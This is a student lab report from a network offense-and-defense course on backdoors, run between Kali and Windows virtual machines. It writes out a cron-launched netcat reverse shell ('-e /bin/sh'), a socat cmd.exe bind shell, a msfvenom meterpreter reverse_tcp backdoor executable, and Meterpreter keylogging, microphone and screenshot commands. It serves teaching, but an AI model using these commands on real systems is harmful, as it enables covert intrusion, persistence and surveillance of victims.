20155330 《网络对抗》 Exp2 后门原理与实践
20155330 《网络对抗》 实验二 后门原理与实践
基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
在网站上下载非官方软件,所下载的软件中携带伪装过的后门程序。
-
例举你知道的后门如何启动起来(win及linux)的方式?
将后门程序伪装为被启动项目。
-
Meterpreter有哪些给你映像深刻的功能?
记录音频、获取入侵主机权限。
-
如何发现自己有系统有没有被安装后门?
使用杀毒软件进行查杀。
实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
常用后门工具
准备工作
- 打开cmd,输入
ipconfig
获取windows系统的IP地址和相关信息。- win10系统IP:192.168.43.248
- win7系统IP:192.168.204.135
- win10系统IP:192.168.43.248
- 打开终端,输入
ifconfig -a
获取Kali的IP地址和相关信息。
Win获得Linux Shell
以下实践Windows基于Win10-64bit, Kali2-64bit.
- windows 打开监听
- Linux反弹连接win
- windows下获得一个linux shell,可运行任何指令,如ls
Linux获得Win Shell
以下实践Windows基于Win7-64bit, Kali2-64bit.(后同)
1.Linux运行监听指令
2.Windows反弹连接Linux
3.Linux下看到Windows的命令提示
nc传输数据
在win7的cmd中使用ncat.exe -l 5330
监听端口,Kali中使用nc win7主机IP 5330
连接win7系统输入数据,在win7同步显示。
使用netcat获取主机操作Shell,cron启动
- 在windows系统下监听5330端口
- 用
crontab -e
指令编辑一条定时任务(使用VIM编辑器编辑),在最后一行添加43 * * * * /bin/netcat 192.168.1.200 5215 -e /bin/sh
(时间设置在Kali系统当前时间的后一分钟)
- 时间到43分时,windows系统获得Kali的shell,在cmd中输入命令
whoami
得到结果
SoCat
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器
- 在操作->程序/脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5330 exec:cmd.exe,pty,stderr(作用:把cmd.exe绑定到端口5215,同时将cmd.exe的stderr重定向到stdout)
- 在Kali环境下输入指令socat - tcp:192.168.204.135:5330,第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5330端口,此时可成功获得cmd shell
2.2 Meterpreter
生成20155330_backdoor.exe,复制到Win
- 输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.135 LPORT=5330 -f exe > 20155330_backdoor.exe
生成后门程序
- 通过nc指令将生成的后门程序传送到Windows主机上
-
参数说明:
参数 相关说明 -p 使用的payload。windows/meterpreter/reverse_tcp相当于shellcode。 -x 使用的可执行文件模板,payload(shellcode)写入到该可执行文件中。 -e 使用的编码器,用于对shellcode变形,为了免杀。 -i 编码器的迭代次数。 -b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口 -f 生成文件的类型 > 输出到哪个文件
MSF打开监听进程
- 打开
msfconsole
- 输入
use exploit/multi/handler
进行侦听,并设置相关参数.
- 设置完成后,执行监听。Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell
Meterpreter常用功能
- 使用
record_mic
截获一段音频
- 使用
screenshot
截屏
- 使用
keyscan_start
指令记录击键的过程,使用keyscan_dump
指令读取击键的记录
- 使用
getuid
指令查看当前用户
实验体会
此次实验首先要保证Kali和windows系统主机能够通过网络相互连接,才能进行之后的步骤。实验中主要遇到的问题就是电脑的摄像头无法连接到虚拟机,甚至在本机上也经常出现错误,应该是开学初的强制更新过程中驱动出了问题。